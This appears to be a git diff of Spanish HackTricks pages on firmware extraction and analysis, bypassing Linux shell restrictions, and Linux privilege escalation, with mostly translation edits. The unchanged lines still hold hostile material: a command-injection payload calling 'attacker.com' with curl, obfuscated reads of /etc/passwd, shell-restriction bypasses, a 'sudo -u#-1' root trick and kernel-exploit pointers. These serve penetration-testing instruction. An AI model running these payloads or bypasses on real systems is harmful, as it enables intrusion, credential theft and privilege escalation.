Obtener el firmware puede abordarse a través de varios medios, cada uno con su propio nivel de complejidad:
|
||||
|
||||
* **Directamente** desde la fuente (desarrolladores, fabricantes)
|
||||
* **Compilándolo** siguiendo las instrucciones proporcionadas
|
||||
|
@ -44,15 +45,14 @@ La obtención del firmware puede abordarse a través de varios medios, cada uno
|
|||
* Accediendo al almacenamiento **en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
* Interceptando **actualizaciones** mediante técnicas de hombre en el medio
|
||||
* **Extrayéndolo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
|
||||
* **Esperando** solicitudes de actualización dentro de la comunicación del dispositivo
|
||||
* **Husmeando** las solicitudes de actualización dentro de la comunicación del dispositivo
|
||||
* Identificando y utilizando **puntos finales de actualización codificados**
|
||||
* **Volcando** desde el cargador de arranque o la red
|
||||
* **Volcándolo** desde el cargador de arranque o la red
|
||||
* **Quitando y leyendo** el chip de almacenamiento, cuando todo lo demás falla, utilizando herramientas de hardware apropiadas
|
||||
|
||||
## Análisis del firmware
|
||||
|
||||
Ahora que **tienes el firmware**, necesitas extraer información sobre él para saber cómo tratarlo. Diferentes herramientas que puedes usar para eso:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -61,7 +61,6 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
|
||||
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`, si la entropía es baja, entonces es poco probable que esté encriptada. Si la entropía es alta, es probable que esté encriptada (o comprimida de alguna manera).
|
||||
|
||||
Además, puedes utilizar estas herramientas para extraer **archivos incrustados dentro del firmware**:
|
||||
|
@ -80,7 +79,6 @@ Binwalk generalmente lo extrae dentro de una **carpeta con el nombre del tipo de
|
|||
#### Extracción Manual del Sistema de Archivos
|
||||
|
||||
A veces, binwalk **no tendrá el byte mágico del sistema de archivos en sus firmas**. En estos casos, utiliza binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo siguiendo los pasos a continuación.
|
||||
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
|
@ -92,9 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
|
||||
Ejecuta el siguiente **comando dd** tallando el sistema de archivos Squashfs.
|
||||
|
||||
Ejecuta el siguiente **comando dd** para tallar el sistema de archivos Squashfs.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
|
@ -104,7 +100,6 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
|
||||
Alternativamente, también se podría ejecutar el siguiente comando.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
@ -129,14 +124,13 @@ Los archivos estarán en el directorio "`squashfs-root`" posteriormente.
|
|||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Analizando Firmware
|
||||
## Análisis de Firmware
|
||||
|
||||
Una vez que se obtiene el firmware, es esencial diseccionarlo para comprender su estructura y posibles vulnerabilidades. Este proceso implica utilizar varias herramientas para analizar y extraer datos valiosos de la imagen del firmware.
|
||||
|
||||
### Herramientas de Análisis Inicial
|
||||
|
||||
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (referido como `<bin>`). Estos comandos ayudan a identificar tipos de archivos, extraer cadenas, analizar datos binarios y comprender los detalles de particiones y sistemas de archivos:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -145,38 +139,35 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Para evaluar el estado de cifrado de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de cifrado, mientras que una alta entropía indica posible cifrado o compresión.
|
||||
|
||||
Para evaluar el estado de encriptación de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de encriptación, mientras que una alta entropía indica posible encriptación o compresión.
|
||||
|
||||
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para inspección de archivos.
|
||||
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para la inspección de archivos.
|
||||
|
||||
### Extracción del Sistema de Archivos
|
||||
|
||||
Usando `binwalk -ev <bin>`, generalmente se puede extraer el sistema de archivos, a menudo en un directorio con el nombre del tipo de sistema de archivos (por ejemplo, squashfs, ubifs). Sin embargo, cuando **binwalk** no logra reconocer el tipo de sistema de archivos debido a la falta de bytes mágicos, es necesario realizar una extracción manual. Esto implica usar `binwalk` para localizar el desplazamiento del sistema de archivos, seguido por el comando `dd` para extraer el sistema de archivos:
|
||||
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
|
||||
### Análisis del Sistema de Archivos
|
||||
|
||||
Con el sistema de archivos extraído, comienza la búsqueda de fallas de seguridad. Se presta atención a los demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualización, código no compilado, scripts de inicio y binarios compilados para análisis sin conexión.
|
||||
Con el sistema de archivos extraído, comienza la búsqueda de fallos de seguridad. Se presta atención a los demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualización, código no compilado, scripts de inicio y binarios compilados para análisis sin conexión.
|
||||
|
||||
**Ubicaciones clave** e **elementos** a inspeccionar incluyen:
|
||||
|
||||
* **etc/shadow** y **etc/passwd** para credenciales de usuario
|
||||
* Certificados SSL y claves en **etc/ssl**
|
||||
* Archivos de configuración y scripts en busca de vulnerabilidades potenciales
|
||||
* Binarios integrados para análisis adicional
|
||||
* Servidores web comunes de dispositivos IoT y binarios
|
||||
- **etc/shadow** y **etc/passwd** para credenciales de usuario
|
||||
- Certificados SSL y claves en **etc/ssl**
|
||||
- Archivos de configuración y scripts en busca de vulnerabilidades potenciales
|
||||
- Binarios integrados para un análisis más profundo
|
||||
- Servidores web comunes de dispositivos IoT y binarios
|
||||
|
||||
Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos:
|
||||
|
||||
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para búsqueda de información sensible
|
||||
* [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para análisis exhaustivo de firmware
|
||||
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para búsqueda de información sensible
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para un análisis exhaustivo de firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
|
||||
|
||||
### Verificaciones de Seguridad en Binarios Compilados
|
||||
|
||||
|
@ -184,7 +175,7 @@ Tanto el código fuente como los binarios compilados encontrados en el sistema d
|
|||
|
||||
## Emulación de Firmware para Análisis Dinámico
|
||||
|
||||
El proceso de emular firmware permite el **análisis dinámico** de la operación de un dispositivo o de un programa individual. Este enfoque puede enfrentar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
|
||||
El proceso de emular firmware permite el **análisis dinámico** ya sea de la operación de un dispositivo o de un programa individual. Este enfoque puede enfrentar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
|
||||
|
||||
### Emulación de Binarios Individuales
|
||||
|
||||
|
@ -192,18 +183,14 @@ Para examinar programas individuales, es crucial identificar la endianness y la
|
|||
|
||||
#### Ejemplo con Arquitectura MIPS
|
||||
|
||||
Para emular un binario de arquitectura MIPS, se puede utilizar el siguiente comando:
|
||||
|
||||
Para emular un binario de arquitectura MIPS, se puede utilizar el comando:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
|
||||
Y para instalar las herramientas de emulación necesarias:
|
||||
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
|
||||
### Emulación de Arquitectura ARM
|
||||
|
||||
Para binarios ARM, el proceso es similar, utilizando el emulador `qemu-arm` para la emulación.
|
||||
|
@ -214,7 +201,7 @@ Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware
|
|||
|
||||
## Análisis Dinámico en la Práctica
|
||||
|
||||
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no replicar perfectamente las interacciones de hardware, lo que puede requerir reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web expuestas y servicios de red, y explorar vulnerabilidades en el cargador de arranque. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
|
||||
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que puede requerir reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web expuestas y servicios de red, y explorar vulnerabilidades en el cargador de arranque. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
|
||||
|
||||
## Técnicas de Análisis en Tiempo de Ejecución
|
||||
|
||||
|
@ -230,7 +217,7 @@ Sistemas operativos como [AttifyOS](https://github.com/adi0x90/attifyos) y [Embe
|
|||
|
||||
## Sistemas Operativos Preparados para Analizar Firmware
|
||||
|
||||
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución diseñada para ayudarte a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
|
||||
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución destinada a ayudarte a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
|
||||
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo de pruebas de seguridad integrada basado en Ubuntu 18.04 precargado con herramientas de pruebas de seguridad de firmware.
|
||||
|
||||
## Firmware Vulnerable para Practicar
|
||||
|
@ -239,15 +226,15 @@ Para practicar descubriendo vulnerabilidades en firmware, utiliza los siguientes
|
|||
|
||||
* OWASP IoTGoat
|
||||
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
* Proyecto de Firmware de Enrutador Muy Vulnerable (DVRF)
|
||||
* Proyecto de Firmware de Enrutador Malditamente Vulnerable (DVRF)
|
||||
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
* Enrutador ARM Muy Vulnerable (DVAR)
|
||||
* Enrutador ARM Malditamente Vulnerable (DVAR)
|
||||
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
* ARM-X
|
||||
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
* Azeria Labs VM 2.0
|
||||
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
* Dispositivo IoT Muy Vulnerable (DVID)
|
||||
* Dispositivo IoT Malditamente Vulnerable (DVID)
|
||||
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Referencias
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Saltar Restricciones en Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,7 +23,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
|
||||
|
||||
## Saltos Comunes para Evadir Limitaciones
|
||||
## Saltos Comunes de Limitaciones
|
||||
|
||||
### Shell Inverso
|
||||
```bash
|
||||
|
@ -153,7 +154,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obteniendo caracteres de Variables de Entorno
|
||||
### Obtener caracteres de Variables de Entorno
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -165,7 +166,7 @@ Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
|
|||
### Internos
|
||||
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de internos para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **internos**, por lo que debes **conocer todas tus opciones** para intentar evadir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
Primero verifica todos los [**internos de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
En primer lugar, verifica todos los [**internos de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -228,8 +229,6 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
El **Bashfuscator** es una herramienta que se utiliza para ofuscar scripts de Bash con el objetivo de eludir restricciones impuestas en entornos restringidos.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -316,9 +315,9 @@ ln /f*
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass de Restricciones de Bash
|
||||
## Bypass de Restricciones de Solo Lectura/Noexec/Distroless
|
||||
|
||||
Si te encuentras dentro de un sistema de archivos con las protecciones de **solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
|
||||
Si te encuentras dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
|
||||
|
||||
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -345,16 +344,17 @@ Obtén acceso hoy:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Escalación de Privilegios en Linux
|
||||
# Escalada de Privilegios en Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información del Sistema
|
||||
|
||||
### Información del SO
|
||||
|
||||
Comencemos obteniendo conocimiento sobre el sistema operativo en ejecución
|
||||
Comencemos obteniendo conocimiento del sistema operativo en ejecución.
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
|
@ -55,9 +56,9 @@ Las herramientas que podrían ayudar a buscar exploits del kernel son:
|
|||
|
||||
- [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)
|
||||
- [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)
|
||||
- [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar en la víctima, solo verifica exploits para el kernel 2.x)
|
||||
- [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar en la víctima, solo verifica exploits para kernel 2.x)
|
||||
|
||||
Siempre **busque la versión del kernel en Google**, tal vez su versión de kernel esté escrita en algún exploit del kernel y luego estará seguro de que este exploit es válido.
|
||||
Siempre **busca la versión del kernel en Google**, tal vez tu versión de kernel esté mencionada en algún exploit del kernel y así te asegurarás de que dicho exploit es válido.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
|
@ -87,7 +88,7 @@ sudo -u#-1 /bin/bash
|
|||
```
|
||||
### Fallo de verificación de firma de Dmesg
|
||||
|
||||
Verifica **smasher2 box de HTB** para ver un **ejemplo** de cómo esta vulnerabilidad podría ser explotada
|
||||
Verifique **la máquina smasher2 de HTB** para ver un **ejemplo** de cómo esta vulnerabilidad podría ser explotada
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
|
@ -114,7 +115,7 @@ fi
|
|||
```
|
||||
### Grsecurity
|
||||
|
||||
Grsecurity es un conjunto de parches para el kernel de Linux que incluye características de seguridad avanzadas para ayudar a proteger contra ataques de escalada de privilegios y otros exploits.
|
||||
Grsecurity es un conjunto de parches para el kernel de Linux que incluye características de seguridad avanzadas, como protecciones contra escalada de privilegios y mitigación de exploits.
|
||||
```bash
|
||||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||||
```
|
||||
|
@ -124,26 +125,26 @@ Grsecurity es un conjunto de parches para el kernel de Linux que incluye caracte
|
|||
```
|
||||
### Execshield
|
||||
|
||||
Execshield es una característica de seguridad del kernel de Linux que ayuda a prevenir ciertos tipos de ataques de desbordamiento de búfer al marcar áreas de memoria como no ejecutables.
|
||||
Execshield es una característica de seguridad del kernel de Linux que protege contra ataques de desbordamiento de búfer y otros tipos de vulnerabilidades de ejecución de código.
|
||||
```bash
|
||||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||||
```
|
||||
### SElinux
|
||||
|
||||
**SElinux** (Security-Enhanced Linux) es un mecanismo de control de acceso obligatorio (MAC) implementado en el núcleo del sistema Linux. Ayuda a reforzar las políticas de seguridad del sistema al restringir los privilegios de los usuarios y los programas, lo que puede ayudar a prevenir la escalada de privilegios.
|
||||
**SElinux** (Security-Enhanced Linux) es un mecanismo de control de acceso obligatorio (MAC) implementado en el núcleo de Linux. Proporciona políticas de seguridad mejoradas mediante el etiquetado de los recursos del sistema y la imposición de reglas de acceso.
|
||||
```bash
|
||||
(sestatus 2>/dev/null || echo "Not found sestatus")
|
||||
```
|
||||
### ASLR
|
||||
|
||||
Address Space Layout Randomization (ASLR) es una técnica de protección de seguridad que ayuda a prevenir ataques de explotación al aleatorizar la ubicación en la memoria de áreas clave del sistema, como la pila, la memoria compartida y las bibliotecas del sistema.
|
||||
ASLR (Address Space Layout Randomization) es una técnica de seguridad que ayuda a prevenir ataques de explotación al aleatorizar la ubicación en la memoria de áreas clave del sistema, como la pila, la biblioteca de enlaces dinámicos y el montón.
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
```
|
||||
## Escapada de Docker
|
||||
|
||||
Si estás dentro de un contenedor de Docker, puedes intentar escapar de él:
|
||||
Si te encuentras dentro de un contenedor de Docker, puedes intentar escapar de él:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
|
@ -164,7 +165,7 @@ Enumerar binarios útiles
|
|||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
También, verifica si **hay algún compilador instalado**. Esto es útil si necesitas usar algún exploit de kernel, ya que se recomienda compilarlo en la máquina donde lo vas a utilizar (o en una similar)
|
||||
También, verifica si **hay algún compilador instalado**. Esto es útil si necesitas usar alguna vulnerabilidad del kernel ya que se recomienda compilarla en la máquina donde la vas a utilizar (o en una similar)
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
|
@ -179,7 +180,7 @@ rpm -qa #Centos
|
|||
Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para verificar si hay software desactualizado y vulnerable instalado dentro de la máquina.
|
||||
|
||||
{% hint style="info" %}
|
||||
_Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto, se recomienda utilizar algunas aplicaciones como OpenVAS o similares que verificarán si alguna versión de software instalada es vulnerable a exploits conocidos_
|
||||
